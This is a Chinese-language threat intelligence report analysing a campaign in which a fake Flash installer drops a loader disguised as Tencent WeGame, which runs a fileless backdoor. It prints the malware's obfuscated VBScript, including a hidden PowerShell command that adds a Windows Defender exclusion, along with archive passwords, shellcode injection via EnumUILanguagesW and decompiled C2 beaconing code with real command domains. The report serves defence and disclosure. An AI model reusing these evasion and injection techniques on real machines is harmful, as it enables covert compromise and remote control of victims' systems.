概述
近日,瑞星威胁情报平台发现一起伪装成合法软件安装包的恶意攻击事件。攻击者将初始样本命名为Flash1.1.msi
,冒充Flash
安装包诱骗用户执行。随后,通过自定义脚本将样本内的恶意载荷在本地解压,并改名为wegame.exe
,伪装成腾讯游戏客户端程序以迷惑用户。该程序运行后将内嵌在自身的远控木马在内存中动态执行,实现文件不落地攻击。远控木马通过与远程服务器通信,发送/接收数据,可能导致用户数据泄露或系统被控制。目前,该样本在VirusTotal
上的检出率极低,目前仅瑞星独家检出。建议用户从官方渠道下载软件,并保持安全软件实时更新,以防范此类攻击。
样本分析
攻击流程
Flash1.1.msi分析
字段 | 内容 |
---|---|
文件名 | Flash1.1.msi |
MD5 | 21b499d8bb3e28a38e30c3d2a7dcc3d7 |
文件大小 | 43.39 MB (45502464 bytes) |
病毒名 | Dropper.Agent/VBS!1.129DE |
备注 | 伪装成Flash安装包 |
恶意程序Flash1.1.msi
是msi
格式的安装包,攻击者通过编写恶意脚本对包内文件进行解压、改名等操作,以完成恶意载荷的本地部署。由于恶意脚本做了混淆处理,所以检出率极低。
恶意脚本主要功能为文件操作(包括解压、改名、删除等)、进程检测和Windows Defender
排除路径设置。
检查特定进程是否存在或WMI
服务是否可用,并根据结果设置文件名和排除路径。
Function mUXarMgwAlDgPGEPEmqpqzPsfUpxIXfert(objWMIService, exclusionPath)
processName = "ZhuDongFangYu.exe"
Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & processName & "'")
If colItems.Count > 0 Then
exclFile = "2_" & runFileName1
aFile = "1_" & runFileName1
exclFile2 = "2_" & kEasv
aFile2 = "1_" & kEasv
excSl = "2_" & servFile1
s1File = "1_" & servFile1
excS2 = "2_" & servFile2
s2File = "1_" & servFile2
Else
exclFile = "1_" & runFileName1
aFile = "2_" & runFileName1
exclFile2 = "1_" & kEasv
aFile2 = "2_" & kEasv
excSl = "1_" & servFile1
s1File = "2_" & servFile1
excS2 = "1_" & servFile2
s2File = "2_" & servFile2
WshShell.Run "powershell -Command Add-MpPreference -ExclusionPath " & exclusionPath,0
oGSZRsARKznqwkjXhdYpXxNGJxDsit 3000
End If
processName = "kxescore.exe"
Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & processName & "'")
If colItems.Count > 0 Then
exclSys3 = kfap
exclFile2 = "1_" & kEasv
exclFile4 = "2_" & kEasv
Else
End If
End Function
Function mUXarMgwAlDgPGEPEmqpqzPsfUpxIX(exclusionPath)
On Error Resume Next
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
If Err.Number <> 0 Then
exclFile = "1_" & runFileName1
aFile = "2_" & runFileName1
exclFile2 = "1_" & kEasv
aFile2 = "2_" & kEasv
excSl = "1_" & servFile1
s1File = "2_" & servFile1
excS2 = "1_" & servFile2
s2File = "2_" & servFile2
WshShell.Run "powershell -Command Add-MpPreference -ExclusionPath " & exclusionPath,0
oGSZRsARKznqwkjXhdYpXxNGJxDsit 3000
Exit Function
End If
On Error GoTo 0
mUXarMgwAlDgPGEPEmqpqzPsfUpxIXfert objWMIService, exclusionPath
End Function
文件操作,包括解压、改名、删除自身等。
appParams = "-VerificationComprehendLibrary 173" '执行参数
password = "$3:12hqKYcOrnBgQBLqv" '解压密码
password2 = "#1_43obFpClJHRgjFanl"
command = """" & sevenZipPath & """ x """ & zipFilePath2 & """" & " -key """ & password2 & """ -f -to """ & extractToPath & """"
command1 = """" & sevenZipPath & """ x """ & zipFilePath & """ -not """ & exclFile & """ -not """ & exclSys3 & """ -not """ & exclFile2 & """ -not """ & excSl & """ -not """ & excS2 & """ -not """ & exclFile4 & """" & " -key """ & password & """ -f -to """ & extractToPath & """"
'执行解密命令
WshShell.Run command, 0, true
WshShell.Run command1, 0, true
wegame.exe分析
字段 | 内容 |
---|---|
文件名 | wegame.exe |
MD5 | ac9b6354922baa6258cc4d5945117fcf |
文件大小 | 43.39 MB (45502464 bytes) |
病毒名 | Trojan.Kryptik!1.12C67 |
备注 | 伪装成腾讯WeGame客户端 |
样本wegame.exe
为Go
程序,伪装成腾讯游戏客户端,以防止用户发现。该病毒负责解码并内存中动态执行内嵌自身的恶意载荷,实现文件不落地攻击。
首先使用正则表达式匹配获取参数列表中第二参数的值,当该值小于50则退出程序,否则继续执行。参数列表格式为-VerificationComprehendLibrary 三位数字
。
flag__ptr_FlagSet_Var( // 获取第一个参数:VerificationComprehendLibrary
dword_FBFA6C,
(int (__golang **)(_DWORD))&off_D3E188,
&p_argv_num->CAiNjvbPOciXQUhss2,
"VerificationComprehendLibrarychg",
32,
0,
0);
p_argv_num->CAiNjvbPOciXQUhss3 = 0;
flag__ptr_FlagSet_Var( // 获取第二个参数:173
dword_FBFA6C,
(int (__golang **)(_DWORD))&off_D3E170,
&p_argv_num->CAiNjvbPOciXQUhss3,
"VerificationComprehendLibrary",
29,
0,
0);
if ( !dword_FC2324 )
runtime_panicSliceB(0, dword_FC2328);
flag__ptr_FlagSet_Parse(
dword_FBFA6C,
(((1 - dword_FC2328) >> 31) & 8) + dword_FC2320,
dword_FC2324 - 1,
dword_FC2328 - 1);
v0 = p_argv_num;
if ( p_argv_num->CAiNjvbPOciXQUhss3 < 50 ) // 第二个参数值小于50则退出程序,否则正常运行
{
os_Exit(0);
return p_argv_num;
}
解码内嵌的shellcode
,然后利用函数EnumUILanguagesW
实现APC
注入,在内存中动态执行shellcode
。
(*p__3_uintptr)[0] = new_shellcode_addr; // 申请的内存地址
(*p__3_uintptr)[1] = (uintptr)old_shellcode_addr_; // 内嵌shellcode地址
(*p__3_uintptr)[2] = v33;
golang_org_x_sys_windows__ptr_LazyProc_Call(v35, (int)p__3_uintptr, 3, 3); // 执行函数RtlMoveMemory,复制shellcode到新申请的内存
p_int = (int *)runtime_newobject((int)&RTYPE_int);
*(_DWORD *)p_int = 4;
v40 = p_int;
v34 = unk_1898634;
v21 = (_4_uintptr *)runtime_newobject((int)&RTYPE__4_uintptr);
(*v21)[0] = new_shellcode_addr;
(*v21)[1] = v34;
(*v21)[2] = 0x20;
(*v21)[3] = (uintptr)v40;
golang_org_x_sys_windows__ptr_LazyProc_Call(v37, (int)v21, 4, 4); // 执行函数VirtualProtect,修改shellcode内存属性
v25 = strings_ToUpper((int)"rjXNBbeBVBhyQXozMCsOEGqDnraTWNjPhRYSetcOEhQsJpVKNb", 50);
v42[0] = (int)&RTYPE_string;
v42[1] = runtime_convTstring(v25, v26);
fmt_Fprintln((int)&stru_161D758, dword_18A0B24, (int)v42, 1, 1);
v49[0] = (int)&RTYPE_string;
v49[1] = (int)&stru_161CA10.a[192];
v49[2] = (int)&RTYPE_string;
v49[3] = (int)&stru_161CA10.n;
fmt_Fprintln((int)&stru_161D758, dword_18A0B24, (int)v49, 2, 2);
v22 = (_3_uintptr *)runtime_newobject((int)&RTYPE__3_uintptr);
(*v22)[0] = new_shellcode_addr_; // 内存中shellcode地址
(*v22)[1] = 4;
(*v22)[2] = 0;
golang_org_x_sys_windows__ptr_LazyProc_Call(v36, (int)v22, 3, 3); // 执行函数EnumUILanguagesW,执行回调函数即shellcode
内存中执行的shellcode
主要负责解压所并加载执行内嵌在自身文件中的DLL
程序,该程序就是最终的远控后门。
seg000:000005BF 55 push ebp
seg000:000005C0 8B EC mov ebp, esp
seg000:000005C2 83 EC 10 sub esp, 10h
seg000:000005C5 56 push esi
seg000:000005C6 8D 4D F0 lea ecx, [ebp-10h]
seg000:000005C9 E8 2C 00 00 00 call sub_5FA ; 获取函数RtlDecompressBuffer地址
seg000:000005C9
seg000:000005CE 8B 75 14 mov esi, [ebp+14h]
seg000:000005D1 8D 45 FC lea eax, [ebp-4]
seg000:000005D4 50 push eax
seg000:000005D5 FF 75 0C push dword ptr [ebp+0Ch]
seg000:000005D8 FF 75 08 push dword ptr [ebp+8]
seg000:000005DB 56 push esi
seg000:000005DC FF 75 10 push dword ptr [ebp+10h]
seg000:000005DF 68 02 01 00 00 push 102h
seg000:000005E4 FF 55 F8 call dword ptr [ebp-8] ; RtlDecompressBuffer解压内嵌的DLL程序
dll分析
字段 | 内容 |
---|---|
MD5 | c3236dc9ea793b95e47f4da018a69a3e |
文件大小 | 254 KB (260,624 bytes) |
病毒名 | Backdoor.Agent!1.12D93 |
备注 | 文件不落地,直接在内存加载执行 |
该病毒在本次攻击活动中没有落地而是直接在内存中动态执行,作为远控类木马,负责与C2
服务器通信,实现攻击者对本地主机的远程控制。
动态获取所需API
函数的地址,包括connect
、socket
等用于网络连接的函数。
LODWORD(v0) = sub_10002050(); // 获取kernel32.dll基址
*(_QWORD *)&h_kernel32_10040348 = v0;
LODWORD(v1) = sub_10002070(); // 获取ntdll.dll基址
*(_QWORD *)&h_ntdll_10040340 = v1;
LoadLibrary_10040338 = (int (__stdcall *)(_DWORD))GetProcAddress_10002710(
h_kernel32_10040348,
(LPCSTR)*(&h_kernel32_10040348 + 1));
((void (__cdecl *)(int))LoadLibrary_10040338)(advapi32_10040378);// LoadLibrary加载advapi32.dll
Library_10040338 = LoadLibrary_10040338(Ws2_32_1004037C);// LoadLibrary加载Ws2_32.dll
strcpy(&v32[8], "send");
strcpy(&v32[16], "htons");
strcpy(v32, "socket");
v3 = Library_10040338 >> 31;
*(_DWORD *)&v36.szExeFile[232] = Library_10040338;
hModule = (HMODULE)Library_10040338;
socket_10040330 = (SOCKET (__stdcall *)(int, int, int))GetProcAddress_10002710((HMODULE)Library_10040338, (LPCSTR)v3);// 获取函数socket地址
connect_1004032C = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))GetProcAddress_10002710(// 获取函数connect地址
*(HMODULE *)&v36.szExeFile[240],
(LPCSTR)v3);
send_10040224 = (int (__stdcall *)(SOCKET, const char *, int, int))GetProcAddress_10002710(// 获取函数send地址
*(HMODULE *)&v36.szExeFile[240],
(LPCSTR)v3);
ntohs_1004011C = (int)GetProcAddress_10002710(*(HMODULE *)&v36.szExeFile[240], (LPCSTR)v3);// 获取函数ntohs地址
与C2
服务器通信,此处使用了多个备用域名以防止失联。
do
{
if ( v4 >= 3 )
{
v5 = gethostbyname("dkjfr45645tr.cyou");
++*(_DWORD *)&WSAData.wVersion;
if ( *(int *)&WSAData.wVersion > 3 )
return 0;
}
else
{
v5 = gethostbyname(name); // 备用域名:saa4564ds.cyou或qwe12.cyou
}
++v4;
Sleep(0x3E8u);
gethostbyname = ::gethostbyname;
}
while ( !v5 );
v2 = **(_DWORD **)v5->h_addr_list;
*(_DWORD *)off_1003E108 = v2;
ProcAddress_10002710 = (FARPROC)ntohs_1004011C;
}
*(_DWORD *)&WSAData.szDescription[16] = v2;
*(_WORD *)&WSAData.szDescription[12] = 2;
*(_WORD *)&WSAData.szDescription[10] = ((int (__cdecl *)(int))ProcAddress_10002710)(80);
v6 = socket_10040330(2, 1, 0);
v18 = v6;
if ( connect_1004032C(v6, &WSAData.szDescription[8], 16)
|| (v7 = (char *)new_func(0x104u),
strcpy(v24, "GET http://"),
sub_100011E0(v7, "%s%s%s%s\r\n", v24, name, "UI", v16),
send_10040224(v6, v7, strlen(v7), 0) == -1) )
攻击过程可视化(EDR)
瑞星EDR
上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程以及相关的域名等情况。
总结
攻击者将恶意样本伪装成合法软件安装包,通过对安装脚本进行混淆处理使得检出率极低。释放的恶意载荷运行后与远程服务器通信,帮助攻击者实现对目标主机的远程控制,危害性极大。目前瑞星已支持查杀该病毒,我们也将继续追踪此类恶意攻击事件。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本
-
及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
21b499d8bb3e28a38e30c3d2a7dcc3d7 ac9b6354922baa6258cc4d5945117fcf c3236dc9ea793b95e47f4da018a69a3e
-
IP
dkjfr45645tr.cyou saa4564ds.cyou qwe12.cyou
-
瑞星病毒名
Dropper.Agent/VBS!1.129DE Trojan.Kryptik!1.12C67 Backdoor.Agent!1.12D93